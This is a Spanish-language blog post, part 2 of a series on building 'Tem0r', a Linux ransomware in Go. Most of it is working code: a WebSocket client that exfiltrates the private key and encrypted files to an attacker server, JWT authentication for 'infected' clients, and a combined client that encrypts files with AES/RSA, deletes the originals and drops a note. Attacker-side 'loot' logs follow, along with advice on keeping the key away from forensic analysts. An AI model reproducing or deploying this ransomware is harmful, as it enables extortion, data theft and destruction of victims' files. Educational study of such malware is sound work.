Seguridad

Tem0r: construyendo un ransomware para Linux desde 0 (Parte 2)

En el anterior post de la serie introducíamos nuestra pieza de ransomware e implementábamos el core del cifrado y descifrado pero, como ya comentábamos, Tem0r incluye doble extorsión y por tanto nos falta la parte fundamental del envío/exfiltración de la información hacia el atacante…

Existen varias vías y canales encubiertos para ello, pero para la primera versión de nuestro «juguetito» vamos a usar WebSocket porque ofrece una comunicación bidireccional y persistente y además suele ser mas difícil de detectar que por ejemplo por un canal HTTP/HTTPS.

Vamos empezar primero enviando la clave privada ya que es fundamental para que el atacante la reciba de cara a esa posible extorsión posterior (para que la victima pueda descifrar los ficheros). Para enviarla a un servidor externo, necesitamos implementar el cliente WebSocket en el programa y establecer una conexión segura con el servidor. 

SERVIDOR

Primero, añadimos la dependencia del paquete de WebSocket. Go ofrece bibliotecas externas para trabajar con WebSockets y una de las más populares es gorilla/websocket

Creamos un directorio websocket_server, inicializamos y procedemos a instalar ese módulo:

$ go mod init websocket_server
go: creating new go.mod: module websocket_server
go: to add module requirements and sums:
go mod tidy

$ go get github.com/gorilla/websocket
go: added github.com/gorilla/websocket v1.5.3

Luego usaremos el siguiente código para crear un servidor que escucha en un puerto específico, acepta conexiones WebSocket y procesa los mensajes recibidos, guardando la clave en un archivo.

package main

import (
	"fmt"
	"io/ioutil"
	"log"
	"net/http"

	"github.com/gorilla/websocket"
)

var upgrader = websocket.Upgrader{
	CheckOrigin: func(r *http.Request) bool {
		return true // Acepta conexiones desde cualquier origen (útil solo en desarrollo)
	},
}

func handleWebSocket(w http.ResponseWriter, r *http.Request) {
	// Actualiza la conexión HTTP a WebSocket
	conn, err := upgrader.Upgrade(w, r, nil)
	if err != nil {
		log.Println("Error al actualizar la conexión:", err)
		return
	}
	defer conn.Close()

	// Espera recibir la clave privada como mensaje de texto
	_, privateKeyBytes, err := conn.ReadMessage()
	if err != nil {
		log.Println("Error al leer el mensaje:", err)
		return
	}

	// Guarda la clave privada en un archivo
	err = ioutil.WriteFile("received_private.key", privateKeyBytes, 0600)
	if err != nil {
		log.Println("Error al guardar la clave privada:", err)
		return
	}

	fmt.Println("Clave privada recibida y guardada como received_private.key")
}

func main() {
	http.HandleFunc("/ws", handleWebSocket)

	// Escucha en el puerto 8080 (puedes cambiar el puerto si es necesario)
	port := "8080"
	fmt.Println("Servidor WebSocket escuchando en el puerto", port)
	log.Fatal(http.ListenAndServe(":"+port, nil))
}

Lo lanzamos y nos ponemos a la escucha:

$ go run 10_websocket_server.go 
Servidor WebSocket escuchando en el puerto 8080

CLIENTE

Ahora vamos con la parte del cliente. Creamos de forma similar un directorio para el cliente websocket_client, inicializamos e instalamos el módulo:

$ go mod init websocket_client
go: creating new go.mod: module websocket_client

$ go get github.com/gorilla/websocket
go: added github.com/gorilla/websocket v1.5.3

El código es el siguiente:

package main

import (
	"fmt"
	"io/ioutil"
	"log"

	"github.com/gorilla/websocket"
)

func main() {
	privateKeyFile := "private.key"
	serverURL := "ws://localhost:8080/ws" // Cambia esta URL a la de tu servidor WebSocket

	// Leer el archivo de clave privada
	privateKeyBytes, err := ioutil.ReadFile(privateKeyFile)
	if err != nil {
		fmt.Println("Error leyendo el archivo de la clave privada:", err)
		return
	}

	// Conectar al servidor WebSocket
	conn, _, err := websocket.DefaultDialer.Dial(serverURL, nil)
	if err != nil {
		log.Fatal("Error al conectar con WebSocket:", err)
		return
	}
	defer conn.Close()

	// Enviar la clave privada al servidor
	err = conn.WriteMessage(websocket.TextMessage, privateKeyBytes)
	if err != nil {
		log.Println("Error al enviar la clave privada:", err)
		return
	}

	fmt.Println("Clave privada enviada al servidor con éxito.")
}

Ahora lo ejecutamos y comprobamos que la clave se ha enviado con éxito. 

Desde la víctima:

$ ./2_privatekey_sent 
Clave privada enviada al servidor con éxito.

Y recibimos la clave privada en el servidor controlado por el atacante:

$ go run 10_websocket_server.go Servidor WebSocket escuchando en el puerto 8080
Clave privada recibida y guardada como received_private.key.

Evidentemente este código es para la primera prueba de concepto, bastante sencillo. Pero si nuestro servidor WebSocket está expuesto públicamente en ws://miserver:8080/ws, existe la posibilidad de que cualquier persona que conozca la dirección pueda intentar conectarse al servidor y enviar o recibir datos, incluyendo la clave privada que se está transmitiendo. Por lo tanto, lo mínimo que tendremos que hacer es autenticar al cliente para que sólo él pueda acceder y enviar la clave.

Podríamos restringir las conexiones WebSocket a un cliente específico (como un cliente «infectado» en nuestro caso), personalizando la función CheckOrigin del Upgrader para verificar la dirección IP origen del cliente que intenta conectarse:

var upgrader = websocket.Upgrader{
	CheckOrigin: func(r *http.Request) bool {
		// Cambia "192.168.1.100" por la IP de tu cliente infectado
		allowedIP := "192.168.1.100"
		clientIP := strings.Split(r.RemoteAddr, ":")[0] // Obtiene la IP del cliente

		// Verifica si la IP del cliente coincide con la IP permitida
		return clientIP == allowedIP
	},
}

Sin embargo ya sabemos que las IPs suelen ser dinámicas o que las víctimas suelen encontrarse detrás de NAT y/o proxies por lo que preferiblemente vamos a optar por usar tokens de autenticación. Para ello vamos a usar JSON Web Tokens (JWT), que es un estándar ampliamente utilizado para la autenticación. Como antes, necesitaremos instalar la biblioteca correspondiente, en este caso para trabajar con JWT en Go. Podemos usar el repo github.com/golang-jwt/jwt. Ejecutamos el siguiente comando en el directorio de tu módulo:

go get github.com/golang-jwt/jwt
go: added github.com/golang-jwt/jwt v3.2.2+incompatible

Luego debemos generar un token JWT que será enviado por el cliente cuando intente conectarse al servidor WebSocket. Aquí tenemos el ejemplo:

package main

import (
    "fmt"
    "time"

    "github.com/golang-jwt/jwt"
)

var mySigningKey = []byte("secret") // Cambia esto a una clave secreta más segura

func GenerateToken() (string, error) {
    // Define los claims (datos que se incluirán en el token)
    claims := jwt.MapClaims{
        "authorized": true,
        "exp":        time.Now().Add(time.Minute * 5).Unix(), // Token expira en 5 minutos
    }

    // Crea el token
    token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)

    // Firma el token usando la clave secreta
    tokenString, err := token.SignedString(mySigningKey)
    if err != nil {
        return "", err
    }
    return tokenString, nil
}

Después debemos modificar el servidor WebSocket para verificar el Token modificando la función CheckOrigin:

package main

import (
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "strings"

    "github.com/gorilla/websocket"
    "github.com/golang-jwt/jwt"
)

var upgrader = websocket.Upgrader{
    CheckOrigin: func(r *http.Request) bool {
        // Extrae el token del encabezado de la solicitud
        tokenString := r.Header.Get("Authorization")
        tokenString = strings.TrimPrefix(tokenString, "Bearer ")

        // Verifica el token
        claims := &jwt.MapClaims{}
        token, err := jwt.ParseWithClaims(tokenString, claims, func(token *jwt.Token) (interface{}, error) {
            return []byte("secret"), nil // Debes usar la misma clave secreta
        })

        if err != nil || !token.Valid {
            log.Println("Token inválido:", err)
            return false // Rechaza la conexión si el token no es válido
        }

        return true // Permite la conexión si el token es válido
    },
}

func handleWebSocket(w http.ResponseWriter, r *http.Request) {
    conn, err := upgrader.Upgrade(w, r, nil)
    if err != nil {
        log.Println("Error al actualizar la conexión:", err)
        return
    }
    defer conn.Close()

    _, privateKeyBytes, err := conn.ReadMessage()
    if err != nil {
        log.Println("Error al leer el mensaje:", err)
        return
    }

    err = ioutil.WriteFile("received_private.key", privateKeyBytes, 0600)
    if err != nil {
        log.Println("Error al guardar la clave privada:", err)
        return
    }

    fmt.Println("Clave privada recibida y guardada como received_private.key")
}

func main() {
    http.HandleFunc("/ws", handleWebSocket)

    port := "8080"
    fmt.Println("Servidor WebSocket escuchando en el puerto", port)
    log.Fatal(http.ListenAndServe(":"+port, nil))
}

A continuación, cuando el cliente intente conectarse, debe enviar el token JWT en el encabezado Authorization usando el mismo secret. Es decir, si el cliente firma el token con la misma clave que tiene configurado el servidor podrá conectar al WebSocket. Esta sería la manera más «dinámica» de autorizar subir info a la infra del atacante si bien, y seguro que algunos lo habéis pensado, habría que asegurarse que el binario del cliente no puede ser fácilmente reverseado para que un forense no obtenga esa clave hardcodeada. Eso o añadir otro o un método adicional para la autenticación de las posibles víctimas.

Pero bueno, eso será otro feature que implementaremos más adelante. De momento aquí tienes el ejemplo completo de cómo hacerlo desde el cliente:

package main

import (
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "github.com/gorilla/websocket"
)

func main() {
    privateKeyFile := "private.key"
    serverURL := "ws://localhost:8080/ws" // Cambia esta URL a la de tu servidor WebSocket

    // Leer el archivo de clave privada
    privateKeyBytes, err := ioutil.ReadFile(privateKeyFile)
    if err != nil {
        fmt.Println("Error leyendo el archivo de la clave privada:", err)
        return
    }

    // Generar un token (asegúrate de que el token se genere de manera similar al servidor)
    token, err := GenerateToken() // Aquí debes implementar la función GenerateToken
    if err != nil {
        log.Fatal("Error generando el token:", err)
        return
    }

    // Conectar al servidor WebSocket con el token
    header := http.Header{}
    header.Add("Authorization", "Bearer "+token)

    conn, _, err := websocket.DefaultDialer.Dial(serverURL, header)
    if err != nil {
        log.Fatal("Error al conectar con WebSocket:", err)
        return
    }
    defer conn.Close()

    // Enviar la clave privada al servidor
    err = conn.WriteMessage(websocket.TextMessage, privateKeyBytes)
    if err != nil {
        log.Println("Error al enviar la clave privada:", err)
        return
    }

    fmt.Println("Clave privada enviada al servidor con éxito.")
}

Por último metemos todo en la «cocktelera» para que envíe primero la clave privada y luego cada uno de los archivos .crypted que va cifrando antes de borrarlos y tenemos prácticamente el artefacto cerrado y funcionando:

CLIENTE

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"crypto/rsa"
	"crypto/sha256"
	"crypto/x509"
	"encoding/pem"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"path/filepath"
	"time"

	"github.com/golang-jwt/jwt"
	"github.com/gorilla/websocket"
)

// Variable para la clave de firma del JWT
var mySigningKey = []byte("secret") // Cambia esto a una clave más segura

// Genera un token JWT
func GenerateToken() (string, error) {
	claims := jwt.MapClaims{
		"authorized": true,
		"exp":        time.Now().Add(time.Minute * 5).Unix(), // Token expira en 5 minutos
	}

	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
	tokenString, err := token.SignedString(mySigningKey)
	if err != nil {
		return "", err
	}
	return tokenString, nil
}

// TokenPayload representa el formato del payload enviado
type TokenPayload struct {
	Token string `json:"token"`
	Data  []byte `json:"data"`
	Name  string `json:"name"`
}

func main() {
	publicKeyFile := "public.key"
	privateKeyFile := "private.key"
	sourceDir := "/tmp/dummy"
	serverURL := "ws://localhost:8080/ws" // Cambia esta URL a la de tu servidor WebSocket

	// Leer el archivo de clave pública
	publicKeyBytes, err := ioutil.ReadFile(publicKeyFile)
	if err != nil {
		fmt.Println("Error leyendo el archivo de clave pública:", err)
		return
	}
	block, _ := pem.Decode(publicKeyBytes)
	if block == nil {
		fmt.Println("Error decodificando el bloque PEM que contiene la clave")
		return
	}
	parsedKey, err := x509.ParsePKIXPublicKey(block.Bytes)
	if err != nil {
		fmt.Println("Error parseando la clave pública:", err)
		return
	}
	publicKey, ok := parsedKey.(*rsa.PublicKey)
	if !ok {
		fmt.Println("Error: la clave cargada no es una clave pública RSA")
		return
	}

	// Leer la clave privada para enviarla más tarde
	privateKeyBytes, err := ioutil.ReadFile(privateKeyFile)
	if err != nil {
		fmt.Println("Error leyendo la clave privada:", err)
		return
	}

	// Generar un token JWT
	token, err := GenerateToken()
	if err != nil {
		log.Fatal("Error generando el token:", err)
		return
	}

	// Conectar al servidor WebSocket usando el token
	header := http.Header{}
	header.Add("Authorization", "Bearer "+token)
	conn, _, err := websocket.DefaultDialer.Dial(serverURL, header)
	if err != nil {
		log.Fatal("Error al conectar con WebSocket:", err)
		return
	}
	defer func() {
		// Enviar el mensaje de cierre (close frame) al servidor
		err := conn.WriteMessage(websocket.CloseMessage, websocket.FormatCloseMessage(websocket.CloseNormalClosure, ""))
		if err != nil {
			log.Println("Error enviando mensaje de cierre:", err)
		}
		conn.Close()
	}()

	// Enviar la clave privada al servidor
	privatePayload := TokenPayload{
		Token: token,
		Data:  privateKeyBytes,
		Name:  "private.key",
	}

	err = conn.WriteJSON(privatePayload)
	if err != nil {
		log.Println("Error al enviar la clave privada:", err)
		return
	}
	fmt.Println("Clave privada enviada al servidor con éxito.")

	// Crear el archivo ATTENTION.txt
	attentionFile := filepath.Join(sourceDir, "ATTENTION.txt")
	attentionContent := "This is only a PoC. Please, never pay for ransomware."
	err = ioutil.WriteFile(attentionFile, []byte(attentionContent), 0644)
	if err != nil {
		log.Fatalf("Error creando ATTENTION.txt: %v", err)
	}

	// Recorre los archivos del directorio y cifra cada archivo
	err = filepath.Walk(sourceDir, func(path string, info os.FileInfo, err error) error {
		if err != nil {
			return err
		}

		if !info.IsDir() {
			fmt.Println("Encrypting file:", path)

			// Leer el archivo
			data, err := ioutil.ReadFile(path)
			if err != nil {
				return fmt.Errorf("error leyendo el archivo %s: %v", path, err)
			}

			// Si el archivo es ATTENTION.txt, simplemente envíalo sin cifrar
			if info.Name() == "ATTENTION.txt" {
				attentionPayload := TokenPayload{
					Token: token,
					Data:  data,
					Name:  "ATTENTION.txt",
				}

				err = conn.WriteJSON(attentionPayload)
				if err != nil {
					log.Println("Error al enviar ATTENTION.txt:", err)
					return err
				}
				fmt.Println("ATTENTION.txt enviado al servidor.")
				return nil
			}

			// Generar una clave AES aleatoria
			aesKey := make([]byte, 32) // Tamaño de clave AES-256
			if _, err := rand.Read(aesKey); err != nil {
				return fmt.Errorf("error generando clave AES: %v", err)
			}

			// Cifrar el contenido del archivo usando AES
			encryptedData, err := encryptAES(data, aesKey)
			if err != nil {
				return fmt.Errorf("error cifrando el contenido del archivo: %v", err)
			}

			// Cifrar la clave AES usando RSA y la clave pública
			encryptedKey, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, publicKey, aesKey, nil)
			if err != nil {
				return fmt.Errorf("error cifrando la clave AES: %v", err)
			}

			// Combinar la clave cifrada y los datos cifrados
			finalData := append(encryptedKey, encryptedData...)

			// Guardar el archivo cifrado con la extensión .crypted
			newPath := path + ".crypted"
			err = ioutil.WriteFile(newPath, finalData, 0644)
			if err != nil {
				return fmt.Errorf("error escribiendo el archivo cifrado %s: %v", newPath, err)
			}
			fmt.Println("Archivo cifrado guardado como:", newPath)

			// Eliminar el archivo original
			if err := os.Remove(path); err != nil {
				return fmt.Errorf("error eliminando el archivo original %s: %v", path, err)
			}
			fmt.Println("Archivo original eliminado:", path)

			// Enviar el archivo .crypted al servidor WebSocket
			cryptedPayload := TokenPayload{
				Token: token,
				Data:  finalData,
				Name:  filepath.Base(newPath), // Nombre del archivo cifrado
			}

			err = conn.WriteJSON(cryptedPayload)
			if err != nil {
				log.Println("Error al enviar el archivo cifrado:", err)
				return err
			}
			fmt.Println("Archivo cifrado enviado al servidor:", newPath)
		}
		return nil
	})
	if err != nil {
		log.Println("Error durante el recorrido de los archivos:", err)
	}

	fmt.Println("Todos los archivos cifrados han sido enviados con éxito.")
}

// encryptAES cifra datos utilizando AES-GCM con la clave proporcionada
func encryptAES(data, key []byte) ([]byte, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}

	aesGCM, err := cipher.NewGCM(block)
	if err != nil {
		return nil, err
	}

	nonce := make([]byte, aesGCM.NonceSize())
	if _, err := rand.Read(nonce); err != nil {
		return nil, err
	}

	ciphertext := aesGCM.Seal(nonce, nonce, data, nil)
	return ciphertext, nil
}
SERVER

package main

import (
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"path/filepath"

	"github.com/golang-jwt/jwt"
	"github.com/gorilla/websocket"
)

// Clave secreta utilizada para firmar el token
var mySigningKey = []byte("secret") // Cambia esto a una clave más segura

// TokenPayload representa el formato del payload recibido
type TokenPayload struct {
	Token string `json:"token"`
	Data  []byte `json:"data"`
	Name  string `json:"name"`
}

// Verificar el token JWT
func ValidateToken(tokenString string) (bool, error) {
	token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
		if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
			return nil, fmt.Errorf("token firmado con otro método")
		}
		return mySigningKey, nil
	})

	if err != nil {
		return false, err
	}

	return token.Valid, nil
}

// Crear el directorio "loot" si no existe
func createLootDirectory() string {
	lootDir := "loot"
	if _, err := os.Stat(lootDir); os.IsNotExist(err) {
		err := os.Mkdir(lootDir, 0755)
		if err != nil {
			log.Fatalf("Error al crear el directorio loot: %v", err)
		}
	}
	return lootDir
}

// Manejar las conexiones WebSocket
func handleConnection(w http.ResponseWriter, r *http.Request) {
	// Upgrade la conexión a WebSocket
	conn, err := websocket.Upgrade(w, r, nil, 1024, 1024)
	if err != nil {
		log.Println("Error al actualizar la conexión:", err)
		return
	}
	defer conn.Close()

	log.Println("Nueva conexión establecida.")

	// Crear el directorio loot si no existe
	lootDir := createLootDirectory()

	for {
		var payload TokenPayload
		// Leer el mensaje del cliente
		err := conn.ReadJSON(&payload)
		if err != nil {
			// Comprobar si el error es un cierre normal (código 1000)
			if websocket.IsCloseError(err, websocket.CloseNormalClosure) {
				log.Println("Conexión cerrada de forma normal (código 1000)")
				break
			}
			log.Println("Error leyendo mensaje:", err)
			break
		}

		// Validar el token
		isValid, err := ValidateToken(payload.Token)
		if err != nil || !isValid {
			log.Println("Token inválido:", err)
			continue
		}

		// Guardar la clave privada o el archivo .crypted en el directorio "loot"
		filePath := filepath.Join(lootDir, payload.Name)

		if payload.Name == "private.key" {
			// Guardar la clave privada
			err = ioutil.WriteFile(filePath, payload.Data, 0600) // Guardar la clave privada con permisos seguros
			if err != nil {
				log.Println("Error guardando la clave privada:", err)
				continue
			}
			log.Println("Clave privada recibida y guardada en:", filePath)
		} else if filepath.Ext(payload.Name) == ".crypted" {
			// Guardar el archivo cifrado
			err = ioutil.WriteFile(filePath, payload.Data, 0644) // Guardar el archivo cifrado
			if err != nil {
				log.Println("Error guardando el archivo cifrado:", err)
				continue
			}
			log.Println("Archivo cifrado recibido y guardado en:", filePath)
		} else {
			// Guardar otros archivos como ATTENTION.txt
			err = ioutil.WriteFile(filePath, payload.Data, 0644) // Guardar el archivo
			if err != nil {
				log.Println("Error guardando el archivo:", err)
				continue
			}
			log.Println("Archivo recibido y guardado en:", filePath)
		}
	}
}

func main() {
	http.HandleFunc("/ws", handleConnection)
	fmt.Println("Servidor WebSocket escuchando en ws://localhost:8080/ws")
	err := http.ListenAndServe(":8080", nil)
	if err != nil {
		log.Fatal("Error al iniciar el servidor:", err)
	}
}
Con esas dos piezas de código ya ponemos nuestro server a escuchar y, al ejecutar el cliente de nuestro ransomware, habremos enviado la clave privada y los archivos .crypted vía websocket al servidor del atacante:
SERVER
$ go run 10_websocket_server_3.go
Servidor WebSocket escuchando en ws://localhost:8080/ws
2024/11/05 19:39:03 Nueva conexión establecida.
2024/11/05 19:39:03 Clave privada recibida y guardada en: loot/private.key
2024/11/05 19:39:03 Archivo recibido y guardado en: loot/ATTENTION.txt
2024/11/05 19:39:03 Archivo cifrado recibido y guardado en: loot/dummy_0.dat.crypted.crypted
2024/11/05 19:39:03 Archivo cifrado recibido y guardado en: loot/dummy_1.log.crypted
2024/11/05 19:39:03 Archivo cifrado recibido y guardado en: loot/dummy_10.bin.crypted
2024/11/05 19:39:03 Archivo cifrado recibido y guardado en: loot/dummy_100.dat.crypted
2024/11/05 19:39:03 Archivo cifrado recibido y guardado en: loot/dummy_101.bin.crypted
2024/11/05 19:39:03 Archivo cifrado recibido y guardado en: loot/dummy_102.csv.crypted
2024/11/05 19:39:03 Archivo cifrado recibido y guardado en: loot/dummy_103.csv.crypted
2024/11/05 19:39:03 Archivo cifrado recibido y guardado en: loot/dummy_104.bin.crypted
2024/11/05 19:39:03 Archivo cifrado recibido y guardado en: loot/dummy_105.log.crypted
2024/11/05 19:39:03 Archivo cifrado recibido y guardado en: loot/dummy_106.jpg.crypted
2024/11/05 19:39:04 Archivo cifrado recibido y guardado en: loot/dummy_99.csv.crypted
2024/11/05 19:39:04 Conexión cerrada de forma normal (código 1000)
Y así quedaría un ejemplo de «panorama desolador» en el directorio de un víctima del ransomware:
CLIENT

Ya tenemos todas las piezas prácticamente juntas, en unos días subiré el código a Github y podremos ir añadiendo entre todos mejoras como por ejemplo mayor protección de la clave privada (cifrarla antes de enviarla es una buena praxis), soporte para usar proxies y múltiples clientes, mejorar la autenticación, otros métodos de exfiltración… todas las ideas y propuestas son bienvenidas. 
Keep pushing! 

Powered by WPeMatico

Gustavo Genez

Informático de corazón y apasionado por la tecnología. La misión de este blog es llegar a los usuarios y profesionales con información y trucos acerca de la Seguridad Informática.